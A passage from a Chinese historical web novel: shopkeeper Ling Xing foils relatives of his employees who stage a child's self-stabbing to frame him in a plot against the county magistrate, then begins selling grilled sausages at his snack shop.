女子和哥儿的名声很重要,后面说不准凌星会从大郎的夫郎,变成二郎的夫郎。 这是一听就很难听的事,到时候村子里还不知道会编排成什么样。 因此他们这会态度得强硬些,叫村子里人知道他们沈家是护着星哥儿的。 不过人长一张嘴,他们也不能叫人彻底闭嘴。 但只要不在大庭广众说,私底下在家说就说吧。 祝如山瞧着人来还挺高兴,看到夫妻两神色后,刚上扬的嘴角立马落下。 他小心的问道:“这是出什么事了?” 当爹的不好多说哥儿的事,便由徐有芳开口,“村长,我听着村子里有些人认为我家大郎是被星哥儿克死的。说的那叫一个有鼻子有眼,这么能耐,怎么不去观里当算命先生?还在小柳村里吃什么苦头。” 祝村长暗骂一声,又是些嘴碎的,尽给他惹麻烦! 他立即表态,“徐婶子放心,你家既是看中凌哥儿,此事便好解决的多。我这就去敲打一番,保准他们后面不敢再乱嚼这舌根子。” 徐有芳在大宅院里见的多,杀鸡才能儆猴,光敲打是没用的。 她道:“劳烦村长通知一声,韩婶子家老二夫郎不必来我这做活了。” 祝如山见这是真不高兴,连人都不要了,点头应下。 心里也多了些计较,看来后面得多注意村子里对凌星的说法。 沈家护的和眼珠子一样,可不能再发生这样胡乱编排的事。 不然惹急沈家,再不带着村人挣钱了。 他家哥儿和大儿媳现在可都帮着做活呢,只要沈家发展的好,不出意外,他家定能跟着喝汤。 为沈家也是为他家的发展,祝如山心里有数,看来是要好好的整治一下村子里的风气。 徐有芳并不喜欢麻烦,以前没时间应对麻烦,现在更没时间。 避免韩婶子过来找,徐有芳直接把韩婶子的死对头,村长家隔壁刘婶子,她家的五丫头要过去补空缺。 上回选人,是让所有报名的人都做了遍测试,五丫头做的也很不错,只是前面正好满员,只能刷掉她。 没了空缺,就是板上钉钉的事,来找一句话就能打发。 刘婶子也会帮着她一起打发。 祝家和刘家离得近,徐有芳直接拐过去和刘婶子说的。 刘婶子笑的眼睛都看不见,急乎乎的喊五丫头,叫她赶紧出来,跟着徐婶子领活干。 生怕慢一步,又不要她家五丫了。 凌星四人回到县里,收拾好东西,天色也不早,干脆就做了点饭吃,吃完睡觉。 养足精神后的第二天,各自忙活自己的事。 四人都需要早起,几乎是同一时间出门。 凌星到铺子的时候发现铺子已经开张,柳家兄弟正在做肠粉。 他边走边想,这个月要给兄弟两发奖金。 凌星刚靠近铺子,就被食客发现。 大家纷纷出声喊他,问他什么时候卖汤包。 柳家兄弟没学这个,包不了,这两天就没有的卖。大家伙正是馋的时候。 之前怕一下子学多了,柳家兄弟会记不住,现在看他们手上动作熟练,倒是能把汤包,锅贴,水煎包,油条的做法教给他们。 除了汤包外的其他几样吃食,县里都有的卖,但凌星为了多赚点,每天也会带着做些。 食客能一次性买齐也觉得方便,都很乐意在凌记小吃铺买。 凌星一边安抚食客,说他现在就包。一边往铺子里走,想着等柳家兄弟两学成,铺子就再另外雇个伙计,专门跑堂招待。 他能空出手,琢磨着上新其他的吃食,负责新吃食那块。 不然就卖这些东西,实在是辜负了这么好的地段。 柳青玉和柳青叶知道凌星过来,喊了一声东家。 “这两日你们辛苦了。”凌星笑着对兄弟两道:“我这次带不少腌菜,都是自家腌的,味道很好,晚上叫二郎给你们送去。” 柳青玉低着头道:“多谢东家记挂,我们不累。” 凌星奇怪的凑近兄弟两,“玉哥儿,叶哥儿,你两今天怎么一直低着头?” 若是平时早就扬起笑脸,热情的和他打招呼了。 今天两人全都一反常态低头,回他的声音都还发蔫,头部动作带着躲避。 这是不想让他看见脸? 凌星觉得事情不对劲,“玉哥儿,叶哥儿,你们抬头给我看看。” 柳青玉和柳青叶不敢真的违抗,缓慢抬头。 映入眼帘的是两张满是淤青伤痕的脸。 凌星瞳孔微缩,震惊道:“谁打的?” 他怕是生意上的竞争对手动手,脑子已经开始想怎么收集证据,然后报官。 柳青玉满脸的难堪,艰涩回他,“是我叔叔和婶婶一家。” 凌星闻言,想起之前谢青崖说过,是如何结识柳家兄弟姐妹几个的过程。 当时就是因为柳青玉的叔婶想吃绝户,逼的柳青玉差点没命。 所以,现在是眼看着老三快到十岁,能单独立户,想趁此之前再搏一把? 因着铺子还在开张,不是说话的好时候。 凌星压着一肚子的话,一直等到下午没什么人了,才担忧的问柳青玉,“那现在你们要怎么办?家里不安全,需要来我院子里挤挤,过一段时间吗?” 柳青玉没想到凌星会想帮他们,眼眶泛红,有些哽咽。 “多谢东家的好意,他们现在还不敢真的怎么样,目前我和叶哥儿能应付。” 就是最小的青雪吓的晚上睡不着觉,家里为过节,买的肉、糕点和糖块,也都被抢走。 他们好不容易要开始过上好日子,结果又成泡影了。 好在前面留了个心,把银钱全部藏好,不仔细翻找的话,根本翻不到。 幸好没有立即买布做衣服,也没纳新鞋。 后面赚到钱,还是全都藏好,啥也不买。日子和以前一样过,虽然会苦点,但是没关系。 只要忍过剩下的六个半月,等明年,青草立户了,事情就可以彻底解决。 他们也不用再整天担心受怕,怕这些所谓的亲戚,来抢占爹娘留给他们的东西。 只是事与愿违。 以前柳青玉日子过的看不到希望,敢下手,能狠心。所以亲戚心里还是多有忌惮,怕真的闹出人命。 且柳青草年纪还小,亲戚们有的是时间慢慢磨。 现在不仅是柳青玉,其他几个弟弟妹妹们,都怕有什么意外。 因为他们如今有能力把日子过起来了。 而柳青草眼看也要到十岁,留给亲戚们的时间不多了。 亲戚们没时间磨,柳家兄弟几个又不够狠的结果,就是柳青玉和柳青叶,接下来的几天时间里,脸上天天有新伤。 这还没完,他们的叔婶在一日清晨,带着家里几个年岁小一点,各个穿的破烂,像是小乞丐一般的孩子。 一家人趁着小吃铺子开门上客后,疯牛一样的冲过来,直接往地上一坐,开始拍着大腿哭诉。 “哎哟喂,我这命真的是苦哦!嫂嫂以前没奶水,是我把侄子侄女喂养大。哥嫂去世后,也是我们一家照料着侄子侄女们。可如今他们发达了,就对叔婶不管不顾!看看他们的堂弟堂妹们,都瘦成什么样了哦!” 第78章 第 78 章 烤肠 女人拍着腿哭嚎, 男人同样的姿势坐在地上,用衣袖抹眼泪。 凌记小吃铺子前排队的都是有闲有钱的人,或是各个宅院里的小厮丫鬟们,冷不丁的听人这么一吼, 倒觉着新鲜, 看戏似的。 离得近的食客朝着铺子里的凌星还有柳家兄弟二人看去,乐悠悠道:“这是谁家亲戚?嗓门够大的呀。” 柳青玉脸色发白, 浑身都在颤抖, 脑袋空了一瞬, 紧张害怕的看向凌星。 哆嗦着声音解释,“东家, 我真的不知道他们会来铺子闹事, 我这就把人拉走。” 春雨街常见乞丐,但很少会有衣衫褴褛的百姓过来。 怕冲撞了人,白白受罪。 柳青玉知道叔叔婶婶晓得他在铺子里做活的事, 这段时间他们丝毫没有来铺子找麻烦的迹象,也是怕因小失大, 惹上大人物。 因此都是在他家院子前蹲守,肆意谩骂,动静闹的大,搞得邻里对他们兄弟几个也很有意见。 今日叔婶一反常态, 还带着最小的堂弟堂妹过来, 故意穿着衣衫褴褛, 柳青玉是真想不明白什么缘由。 他不怕叔婶针对他, 但他怕因为叔婶的原因,而耽误了东家的生意。 那他才是罪过了。 柳青叶同样被吓不轻,和柳青玉一样, 怕凌星不高兴,要跟着一起出去拉人。 此事虽说是柳家兄弟的家事,但人已经闹到铺子门口,耽误了生意,且兄弟两现在是给铺子做活,凌星不好真的什么也不管。 再者,柳家兄弟为人都很不错,凌星喜欢和他们相处。他力所能及可以做的,能帮自是帮一把。 “我同你们一起去。” 柳青玉想拒绝,怕叔婶发横,再伤着人。 凌月最近读书,经常念的一句就是:莫非命也,顺受其正,是故知命者不立乎岩墙之下。注1 外面的人表面看着弱小,实则都是狠角色。 凌星也不会为了帮人,就把自己完全置身于危险之中,出去前先托相熟的食客帮忙去报官。 食客是之前经常会去镇上买绒花的小厮,以前买绒花的时候,有人插队,看着还挺富贵,也没敢说什么。 出门办事,能不惹麻烦就不惹麻烦。 谁知现在的掌柜,以前的小摊主,竟是直接开口对那人说莫要插队。 因着言语客气,身旁又有个看起来能一拳打死人的壮汉在,对方真的往后排了。 这事其实他能忍下,但是有人愿意为自己出头,接过吃食的时候,还能得到一句,“饿了吧,快拿着吃。” 心里的感觉是真的不一样,就像是在冬天喝上暖乎乎的热茶,裹着厚厚的被子,看窗外的雪景。 舒服,熨贴,高兴。 他很乐意为凌星跑这一趟。 柳青玉见凌星有打算,加上他和柳青叶两人力量有限,还真不一定能拉动人。思来想去,对凌星感激的点头。随后脱下围裙,朝着叔婶一家走去。 柳四和田春娘两人像是唱双簧一样,叫小吃铺子前的食客们看了个热闹。 短短时间哭诉下来,他们多少听懂了些。 都是见识过心眼的人,哪里会信二人的哭诉。都觉着是想吃绝户,在这演呢。 不过这事也和他们无关,看个乐呵还行,插嘴去说,那不可能。 跌面。 柳四夫妻二人假模假式的哭这一场,嗓子都要嚎哑了,也没见人帮他们说话,谴责讨伐柳青玉和柳青叶。 二人觉着事情和他们想的不太一样,心里莫名的有些打鼓。 夫妻二人对视一眼,朝着铺子方向看去,都心生退意。 转念又想到什么,眼神又变得坚定许多。 田春娘一左一右抱着俩孩子,暗处用手拧孩子的肉,两个孩子疼的嗷嗷直哭。 顺着孩子们的哭声,田春娘开始破口大骂。 “柳青玉!柳青叶!你们兄弟二人就是养不熟的白眼狼啊!当初为了让你们多口吃的,我这个做婶婶的,连自己孩子都没喂养!你们不知道报恩,反而还驱赶……” “别嚷嚷了。”凌星皱眉打断,柳青玉兄弟二人及时上前制止田春娘,让她别再大喊大叫。 凌星道:“我已经派人去报官,你们现在闭嘴离开还来得及。” 听到报官,柳四和田春娘只愣了一下,片刻后就有了反应。 二人看到凌星过来,眼里闪一下光,比看到柳青玉和柳青叶更兴奋。 一直没怎么出声的柳四,这时脸上发狠,朝着地上吐一口痰,“呸!我就说我们柳家的哥儿都不是那种不知恩的,感情都是你这个坏心肠的东家教的!” 凌星眉间微皱,有对柳四的言语不悦,也有对二人的态度感到奇怪。 寻常百姓听到报官二字,不管怎样,都会露出些怕来。 怎么这两人不仅不怕,甚至…… 凌星仔细观察,甚至还能看出些兴奋? 事出反常必有妖,凌星喊住柳青玉和柳青叶,“先别靠他们太近。” 兄弟二人及时停下,脸上能看出怒色,对着柳四夫妻二人喊道:“你们胡说八道!” 见人还有一段距离,田春娘又看一眼铺子方向才起身,双手叉腰指着人,气势十足。 “谁胡说?要不是他,你们能这么白眼狼?还报官呢,怕你们不成!”田春娘毫不畏惧,“报官好啊,我倒要看看,刻薄养育长大的叔婶,要打几板子,判坐几年牢!” 大禹重孝。 凌星闻言脸色也不太好,这种情况确实是不利于柳家兄弟。 不管有没有证据证明田春娘所言是真是假,只要族中长辈说是,那就是。 为此亦有数起冤假错案,因其绝户的也不少,家中田产尽数归族中人所有。 律法有偏颇不公,却延续几百年。长的让所有人都有根深蒂固的想法,想要改变是不可能的。 凌星无所适应这样的环境,心头压抑,有些透不过气。 他声色变得凌厉,“一码归一码,你要柳家兄弟因不孝受罚是一回事,我要你们寻衅滋事,扰乱治安,阻碍我铺面做生意受罚,又是另一回事。” “你们不仅是要挨板子,今日我铺面因你们而少的盈利,也要你们尽数赔我。想要闹是吗?那就闹吧,想怎么闹怎么闹,反正我也不吃亏。” 柳四夫妻二人俱是一愣,压根没想到,竟还有这茬呢? 他们再次看向铺面方向,脸色越来越白。 凌星注意到他们视线,回头看去,并未发现什么不同。 这边,柳四哆嗦着声音,强撑着道:“那你还挑唆玉哥儿和叶哥儿不孝呢!” 凌星不知他们为何如此想给他头上排罪名,这是实在没别的屎盆子往他头上扣了? “你们有证据吗?就算是有证据,我也没听说挑唆不孝是个罪名啊。可我却有许多的人证,说你们胡乱攀蔑。” 凌星一指边上依旧聚集着看戏的食客们,得到他们的点头肯定,柳四夫妻二人更显得局促不安。 田春娘一咬牙,用手推了一把身边的哥儿,那孩子木着脸,突然跑向凌星。 此时光线极好,阳光倾洒下来,照的人暖洋洋的,都出了薄汗。 凌星察觉到一道微弱反光。 意识到不对,身体比脑子先反应过来,立即往后退去。 那孩子没想到凌星察觉到了,并没有收手。在二人有两步距离外的地方,将手里的匕首,用尽全力,插进了自己的肚子。 鲜血涌出,小孩身体僵硬一瞬,很快就倒在地上。 食客们霎时间收起看戏的神情,有些慌乱。 出人命了! 凌星看着孩子血淋淋的样子,脑袋发懵,腿也在发软。 他下意识的要上前查看,田春娘尖锐的哭声让他清醒。 “啊啊啊啊啊啊!我的雀哥儿啊!天杀的东西,你竟然杀我的孩子!” 田春娘凶狠的瞪着凌星,柳四也冲过来,要对凌星动手。 被柳青玉和柳青叶拦下。 凌星看向他们,没有再动作。他终于知道,哪里不对劲了。 从一开始,这两人就是冲他来的。 他们打算用孩子的一条命,栽赃陷害他。 可他们为什么要这么做?他甚至都不认识他们啊。 食客们听到田春娘的话不由奇怪。 都这节骨眼了,还在那嚷嚷,不来看孩子的情况。 而且,他们可是看的清清楚楚,凌掌柜隔着距离了,怎么可能是凌掌柜动手! 明明就是那孩子自己捅自己。 “你们还不快把孩子带去医馆救命,在这胡言乱语什么?” “就是啊,我两只眼睛都瞧见了,是那孩子自己突然拿出匕首插自己的。” “凌掌柜他离着孩子两步远呢,手里什么都没有,难不成会什么仙法,控制你家孩子不成?” “快带孩子去看大夫吧,还能有得救。” 食客们你一言我一语,把柳四夫妻两听傻了。 他们在后面看着,心里也慌乱,都没注意到竟然还有距离吗? 二人厌恶又懊恼的盯着地上昏迷的孩子,怪他连这点事都做不好,天衣无缝的计划,全都失败了! 知道是不可能再栽赃,夫妻二人忍不住又看铺子方向,凌星冷声道:“你们在看谁?” 这个视线角度,能看到的只有他的小吃铺子还有隔壁的布庄。 小吃铺子里没人,自然不是看这里。 那就只能是布庄。 “布庄里,有幕后指使你们这样做的人?” 虽是在提问,但凌星心里已经肯定。夫妻两不止一次看向那边,所有的反应也都很反常。 柳四和田春娘僵硬在原地,眼睛不敢再看。 二人都嘴硬的很,“什么布庄,不知道你在说什么。” 柳四拉了一下田春娘,“快,快把雀哥儿送去看大夫。” 夫妻二人这才动手,抱起地上的孩子。 “让让,让让,官差办案,闲杂人等退开!” 官吏来的及时,柳四和田春娘看到他们,头顶冒汗,竟是吓的把孩子又丢地上,转身就跑。 他们不跑还没什么,一跑动,彻底吸引了官差的注意,举着刀就追上去,夫妻两很快便被刀压着抓住。 带队的是熟人王团,知道凌记小吃铺子出事,专门换班过来的。 “凌掌柜没事吧?” 凌星摇头,“还请官爷派人将那孩子送去医馆。” 再不去,怕是真不行了。 王团招呼人过来,吩咐两句,对方就抱着孩子离开。 凌星是报官的人,需要跟着去衙门分说。 涉及到柳家兄弟,他们也要去。 铺子今天是开不了,只能对食客们致歉,随后快速熄火,关了铺子,一起去衙门。 临走的时候,凌星看一眼布庄,里面只有两个伙计在。 小吃铺子前的事,归典史左明晨管。 派了人分开问询。 凌星和柳家兄弟两如实告知,左明晨看着几份口供,眉头紧锁。 这事,处处透着诡异。 他将凌星说的柳雀持匕首冲来那一段仔仔细细看许多遍,又对照着柳四夫妻二人的口供。 按他们所言,是柳雀一个小孩,恨凌星撺掇堂哥们不要他们,不给他们银钱报恩。 都好几天没吃上饭,人都要饿死了,这才心生恨意。 孩子的外形特征小吏已经和他说过,六七岁的哥儿,瘦的一把骨头,再几天没饭吃,能有力气冲过去杀人? 就算是有那个力气,可藏着的凶器还是纯铁打造,一看就很新还值钱。 朝廷对铁器管制严格,柳四言明不知道匕首的存在,此物制作在铁器铺子会有详细记载,谁买了什么用来做什么,都会记的一清二楚。 他不敢在这上面说谎。 排除是大人购买,总不能是柳雀自己买的。 一个小孩子,哪来的银钱买? 若是捡来的,那么原主人丢失铁器,需要及时上报。 否则出了问题,就找原主人算账。 左明晨命人翻阅报丢失铁器的卷宗,并没有与其相符合的匕首。 没有来历,凭空冒出来的匕首,来头才更不小。 左明晨把凌星的供词与沾血的匕首放在一起,越想越不对劲。 柳四一家,搞不好是借着吃绝户打掩护,目标一开始就是凌星。 问询的时候他去柳四夫妻二人那看过,不是小看他们,而是他们二人的脑子和胆量,真不可能谋划出这一遭。 而且,说实在的,他们也没那个动机去针对凌星。 今日一切,不过是硬凑上去。 是背后之人的谋划,他们不过是一把刀。 或者,背后之人盯的也不是凌星。 小吃铺子是凌星最拿得出手的东西,赚钱是赚钱,却也有一定局限,为了个铺面,没必要害一条人命,惹上人命官司性质可不一样。 如此不计成本的谋划,真正想盯的应是另有其人…… 左明晨食指不轻不缓的敲击着桌面,脑袋里迅速过着凌星的人际关系。 凌星人际关系并不复杂,相交的人虽多,但除了家人外,有情谊的两只手数的过来。 其中身份地位,以林县令为最,屠海为次。 左明晨心里有了两个人选,以他多年的断案经验,在深入推理后,更加偏向林县令。 屠海再厉害,如今高度就是他所能到的最高。 一个开赌坊的,又在镇上,谁没事拿命整他。 林县令不一样。 听闻林家再次得到重用,一直停滞在云水县的林县令终于能放开手脚,再往上走。为了有由头,县令最近也有动作。 甚至不惜动用本家力量,组建船队。由县令自己做保,先运货,赚了钱衙门有了收入再给船队钱。 万事开头难,有林县令做保开个好头,后面想要运转起来就简单的多。 眼看着商船就要装货出行,这节骨眼上县令大人那只要出点事,船队就走不了。 左明晨想云水县能好,对于林县令的计划,他是完全赞同,并且倾力相助。 即便林县令本意是想靠着拉动云水县经济,让政绩过得去,可以顺利升迁。 但无法否认,云水县百姓在此事上,完全受益。 没有财大气粗的林家做靠,县里连船队都组建不了。 林县令有私心不假,可县里受到的好处,也是实打实的。 这样能长久发展的好事冒出人来阻挠,左明晨脸色沉下几分。 宁可错杀也不能放过,左明晨有了怀疑后,直接起身,要亲自审问柳四夫妻二人。 他长相端正,其实并不骇人。偏一身气质像个酷吏,尤其是冷脸没表情的时候。 左明晨把柳四夫妻二人一起绑在刑讯架上,也不言语,直接当着他们的面烧铁烙。 还以为蒙骗过关的夫妻两吓坏了,双眼死死盯着炭盆里的铁烙。 左明晨看铁烙烧的差不多,言简意赅,“说实话,不用受罪。不说,烫了关水牢。” 柳四和田春娘都忍不住的打哆嗦。 刚刚押他们来的时候,路过了水牢。 因为气味难闻,一股恶臭,他们瞥了一眼。 水牢里的水脏污不堪,还有老鼠虫子的尸体,更有秽物漂浮。 满身伤口的泡进去,这不是要人命吗! 二人连连哭喊求饶,左明晨坐着一动不动,听见了没反应。 越是这样,夫妻两心越慌。 左明晨等他们一把鼻涕一把泪的哭喊完,才淡淡道:“谁先说,放谁走。” 闻言夫妻二人彻底安静下来,相处这么久,都深知对方的脾性。 对方绝对会先说保命! 本就不是什么意志坚定的人,怕苦怕疼又怕累,更怕唯一不受罪的机会给对方得去。 因此铁烙都还没举起来,两人就争先恐后,你一言我一语的什么都说了。 原本的谋划,比发生了的更可恶。 根据二人的交代,他们最开始的计划,是想和凌星或者柳家兄弟发生冲突。拖到官吏过来,再让柳雀想办法撞死在官吏刀下,接着由柳四夫妻二人哭诉,说当官的当街杀人。 若是没找到机会,就趁官吏在,借着混乱,靠近凌星,由柳雀用匕首插自己,嫁祸过去。 这样凌星就跑不掉,只要一口咬定是凌星伤人,即便最后没有证据,可那么多人看着,总有没看全,会相信的。 柳四和田春娘说着说着也懊恼,谁知道那凌星警惕性那么强,都不靠近他们,还不让柳青玉和柳青叶靠近。 在柳雀靠近的时候,更是反应快的往后退。周围也并不混乱,让人都看清楚了,柳雀倒下的时候,离着凌星还有距离。 想栽赃都失败了。 也怪柳雀蠢的很,竟不知再往前去一去,傻子一样的东西,晦气的很。 说来说去还怪他们心急,被那凌星说的那些话自乱阵脚,不然的话,这事肯定能成的。 左明晨得知真相,二人虽并未提起县令,但从嫁祸官吏那不难看出,就是冲林县令来的。 其他都只是媒介。 他面上沉着,心里不由感叹,真不知该说凌掌柜是倒霉还是幸运。 倒霉的是受到牵连,幸运的是,遇到两个蠢货动手,有惊无险。 柳四和田春娘被收押,左明晨立即将此事前因后果全部报给林县令。 明枪易躲暗箭难防,林清渝捏着鼻梁,接受了清闲日子不再,要开始政斗的结果。 再睁眼时,平日里闲散的眼神中,藏着几分锋芒,“对方既然动手,自然不会就只有这点手段。香肠运输的事,需要先暂停。衙门里不干净,之前要出航护送的官吏全部撤下,得找更合适的人手。” 左明晨有些着急,香肠越早卖了换钱,百姓就能越早过上好一点的日子。 他心里气愤不已,但也无可奈何。 现在要是贸然出航,“不小心”沉船,怕是损失会更多。 林清渝又道:“让凌掌柜来见我。” 左明晨点头去叫凌星。 很快,凌星就知道了原因始末。 他想到柳四和田春娘期间一直看铺子方向,之前问询的时候,没有说这些相关,毕竟只是他的猜想。 如今得知猜想没错,便对林清渝说了。 林清渝沉思片刻,“按理说,幕后之人不会让柳四他们知道身份的。但他们频繁看去,确实是个问题。” 林清渝立即喊来人,吩咐道:“让左大人问问柳四二人,此事是不是与布庄里的人有关。” 交代完小吏,又笑着叫凌星多吃些。 此时凌星面前是一桌子的名贵点心。 林清渝道:“吃不完打包带走,都是京城来的点心,和云水县的不一样。叫你无故受牵连,算是我的赔礼。” “后面我会派私人护卫在铺子周围,不会叫你真的受伤,放心。” 凌星没推脱,全都应下。 不得不说京城的糕点确实不错,华丽精致又好吃。 一口下去,有好几种不一样的口感。 用料也好,甜而不腻。 边吃边喝的半饱,小吏终于来回话。 “柳四和田春娘说找他们的人并没有露面,不过他们记得身型特征。今日无意瞧见布庄在外的伙计身型眼熟,所以才总忍不住多看两眼。” “左大人已经带着人去布庄,按着柳四他们说的拿人来衙门问话。” 林清渝点头,让小吏下去。 若真是布庄的人动手,那他猜到衙门里有鬼的是谁了。 布庄掌柜家的哥儿,是刘元生的妾室,而刘元生是县丞周拓的妻弟。 若说县里谁最恨他,那确实非周拓莫属。 毕竟如果不是他,周拓如今就是云水县令。 此计划确实缜密,若是安排的人是有脑子的,说不准他还真能栽个跟头。 只能说时也,运也。 偏偏柳四夫妻二人没胆量,又偏偏叫他们看出了身型问题,还叫凌星给发现了。 也幸好凌星没在前面问询的时候说,不然肯定会打草惊蛇。 看来,他林清渝也是有点运气在身上的。 不过发现的还是晚了一步,周拓也做了万全准备。 那个伙计,死了。 小吏去的时候,布庄掌柜万福安说人身体不舒服,回家去了。 等小吏到伙计家,就见他吊死在梁上。 人没了,线索断掉。 不可能仅凭猜测就定周拓的罪,但足够确定,此事就是周拓的手笔。 林清渝也发现,衙门里的眼线,比他想的要多。 到底是在衙门积攒几十年,今日真叫他开眼了。 那周拓背后,站的又是谁? 林清渝沉着脸,觉得烦躁,又有些激动,矛盾的情绪相交,整个人都活了起来。 送凌星走的时候,不忘提醒凌星,注意防范刘家的酒楼。 凌星手里提着个大食盒,“多谢县令提醒。” “对了大人,受伤的那个孩子,他其实可以继续靠近我两步再动手。但他没有,而是直接停下了。刺伤自己时,他对我说‘对不起’,我和二郎学过一段时间唇语,这种简单的,不会看错。” 思考再三,凌星遵循内心,求情道:“判罚时,大人可否因此酌情?” 若非柳雀故意停下,留有破绽叫食客们看清,这会怕是就连林县令也要被柳四他们闹的焦头烂额。 凌星不好对此一字不提,只要柳四他们付出代价。 林清渝没应,但也没拒绝。 柳家兄弟早就被放走,凌星便提着食盒先回家。 到家的时候天色有些晚,刚把食盒放下,院门就被猛的推开,随之而来的是急促喘息。 凌星回头瞬间,被一只大手按住脑袋,压进怀中。 怦怦怦—— 有力的心跳声又急又响,凌星的额头,能感受到健硕的胸膛一起一伏。 凌星知道是沈回,整个人放松许多,随后意识到他们这个姿势不太对,又伸手去推。 手抬到一半,凌星停下了动作。 沈回在发抖。 他是知道了铺子前的事? 应该是知道了。 每天下学,二郎和阿月都会去店里帮一会忙,然后关了铺子一起离开。 凌星将手放下,轻声道:“二郎,我没事。” “我到铺子,看到地面有血,有人和我说铺子出事,你被官差带去衙门。我跑去衙门,王团说你不在那,应是回家了。” 沈回声音都在发颤,还好人真的在家。 若是再看不到人,他非疯了不可。 “你没事。”沈回低着头庆幸的轻笑,“太好了,你没事。” 凌星喜欢男人,被这样一个身材好,长得又帅,对他也很好的男人抱着,就算是木头也有反应。 他能清楚的感觉到自己心跳加速,脸也在变热。 他想问问沈回,是什么意思。 下一瞬,沈回便松开他,坚定道:“我会考上举人。” 凌星的心瞬间冷下大半。 是啊,沈回是要科考做官,他们之间在大禹律法里,不被允许。 除非沈回不入仕。 可不入仕,又为何要辛苦科考呢。 凌星让自己清醒,想想沈回从一开始就对他很好。那时候他还问过沈回原因,他说过,是因为大哥遗言。 想来,人家应该没别的意思,真的就只是担忧而已。 凌星很快调整好自己情绪,“二郎一定会得偿所愿。对了,阿月怎么不在?” 沈回视线落在凌星脸上,感觉到对方的情绪并不高,想来是被今日之事吓到。 他道:“被秦夫子留下做诗了。” 知道凌月在哪,凌星松口气。 “二郎,我有些累,想回去歇息。” 凌星说罢便离开,沈回看着他的背影,若有所思。 …… 两日后,柳四和田春娘的判罚出来了。 凌星那日在衙门,还告了他们寻衅滋事,扰乱生意。后面更是查出一系列的事,这两人虽罪不至死,不过也出不去了。 直接被拉去修城墙,修路,这辈子都出不来。 至于他们的孩子,则是由柳家宗族养着。 虽说在族里日子不会好过,但比起跟着夫妻两来说,也不会更差了。 柳雀伤势比较重,林清渝私人掏钱救治,好歹是救回一条命。 他是柳四家最小的一个哥儿,不受重视,不受待见。 不然也不会被柳四夫妻二人挑出来送死。 林清渝听凌星说的那些后,就去看过孩子,是个好孩子。 知道是他花钱救下的,不顾伤痛叩首感谢。哭着认错,说不该听爹娘的话去冤枉人。 那时的柳雀,是真的不想活了。 整个匕首全都插了进去,疼,真的疼。 可一想到疼完就解脱了,又高兴。 等高兴完,又后悔。他还是想活着,堂哥他们因为活着慢慢的日子就变好了,万一他以后也能变好呢? 谁来救救他? 谁来救救他啊? 他不住的祈求各方神明,幸好真有神明听见,愿意再给他一次活命的机会。 林清渝问了柳雀当时为何停下,没有继续向前。 柳雀的反应不似作伪,他那时是自己选择停下的。 “不那样做的话,我就会害死人。” 幸好他没有那样做,所以还神明愿意救他。 林清渝心中有了决断。 为了叫柳青玉一家将来不在孝道上再被恶意诟病,林清渝让他们养柳雀六年。 既然柳四他们一直说要柳青玉他们报恩,那就养他们的孩子六年,算是全了当年的恩情。 柳雀也能有个比去宗族里过活,更好的去处。 有凌星在,柳家兄弟几个也不是不辨是非的人,这孩子心性纯良,在他们手下,以后不会再吃苦。 柳家的事在柳雀去柳青玉家中养伤,算是彻底解决完。 林清渝不差那点钱,大发善心的心疼小孩,给足了医馆费用,只要柳家每天去医馆拿药就行。 凌星也送不少吃的穿的用的,孩子的一念心善,也让他避免一场更重的人祸。 柳家兄弟几个知道柳雀不是害人,而是救人,对孩子也很上心。 加上柳雀乖巧又听话,懂事的叫人心疼,和柳家兄弟几个相处很好。 家里多了个弟弟要养,柳青玉和柳青叶干活更卖力了。 凌星教他们包汤包,一个比一个学的认真,很快就上手。 在他们上手后,凌星直接从牙行雇佣了一个专门跑堂的伙计。 手头清闲许多的凌星,琢磨着上新。 正好托商队带来的火山石也到了。 这石头并不难找,不过云水县没有。 他去衙门开的香肠铺子买肠。 铺子外也有不少人买,香肠口味好,上市后不少饭馆酒楼试菜,出了好几道新菜色。 但比起能好几船运出去卖,光一个铺面的销量,显然是不够看的。 凌星买的鲜肠铺子里暂时没有,之前倒是上了两天,不过卖的明显不如风干和烟熏后的香肠,还放不久,就没有再铺货。 而是谁想要,提前一天预定,第二天来拿。 凌星预定了五斤,准备试试水。 实在卖不动,他就当顾客福利,直接送了。 香肠铺子是小吏在管理,看凌星要这么多鲜肠,还劝他少买点。 现在天热,就算是放冰桶里,也放不了多久。 都是肉和香料做的,坏了可惜。 在凌星确保不会浪费后,小吏也不再劝,给他登记上要量。 第二天,凌星拿着预定好的鲜肠回铺子。 火山石烤炉已经准备好,凌星把肠清洗一遍后,摆在火山石上。 嗞—— 微冷的肠衣碰上发烫的火山石,发出一声响后,冒起了白色烟雾。 凌星把肠绕圈摆满,他的容器做的大,一盘能摆三斤肉肠,一共二十一根。 肉肠本就有油脂,高温激发下,受热部分很快就油汪汪的,香气也随之飘来。 肉香油香相结合,很快就吸引了食客们的视线,追问凌星这是什么怎么卖。 烤肠需要翻面,凌星拿竹夹子一个个翻,笑着回答食客们的问题。 “这是烤肠,一根六文钱,纯肉肠里面加了香料,可香呢。” “烤好会切点出来试吃,大家伙到时候尝尝,觉得好吃再买啊。” 食客们的问题都得到解答,纷纷安静下来,就等着烤肠好。 烤肠越烤香气越浓,给人馋的不行,吞咽着口水眼睛紧盯着。 咋还不好啊! 想吃的很! 终于烤好后,排在前面的食客受不住香气,也不差钱,直接要了根烤肠。 不好吃大不了下次不买呗,他们是真的等不及凌星切开,再试吃尝味道。 这样香的东西,再难吃又能难吃到哪里去啊! 后面的食客也一个意思,最后凌星压根没能留下试吃的烤肠,二十一根,很快就卖个干净。 烤好的烤肠外焦里嫩,肠衣微微裂开,一口咬下去,还能爆汁。 凌星提前提醒过,冷冷慢点吃。 架不住食客们等不及,十个九个被烫,但没一个把烤肠放下的。 全都是斯哈斯哈,在嘴里把烤肠炒一遍,时刻准备咬第二口。 “凌掌柜,我要十根烤肠。” 最开始吃到烤肠的食客从烤肠的美味中回神,先下手为强。 他是老顾客了,是知道小吃铺子里的吃食,有时候需要靠下手快才能抢到的。 剩下的两斤烤肠,一共就十四根,凌星把它们摆上。 “成,还有最后四根谁要?” 后面的人还在想着怎么就剩下这么点了?结果就是被第一个食客截胡,“那我全要了吧。” 就这十四根,带回去都不够家里一人一根的。 凌记小吃铺子啥都好,就是东西太便宜,做的也少。 搞得就算是他们,也得排队买。 不过排队也有排队的好处,能遇见不少人,聊着聊着,还可以拉近些关系。 虽然真正有钱有权的也不会在这排队,但结交和自己差不多的人,也足够了。 没买到的食客肯定是有怨气的,凌星想到烤肠是有受众,可也没想到会卖这么快。 转念一想,又觉得正常。 毕竟他是第一个这么卖的,食客们又都不差钱。好吃的新品,就是会一下子买很多尝鲜。 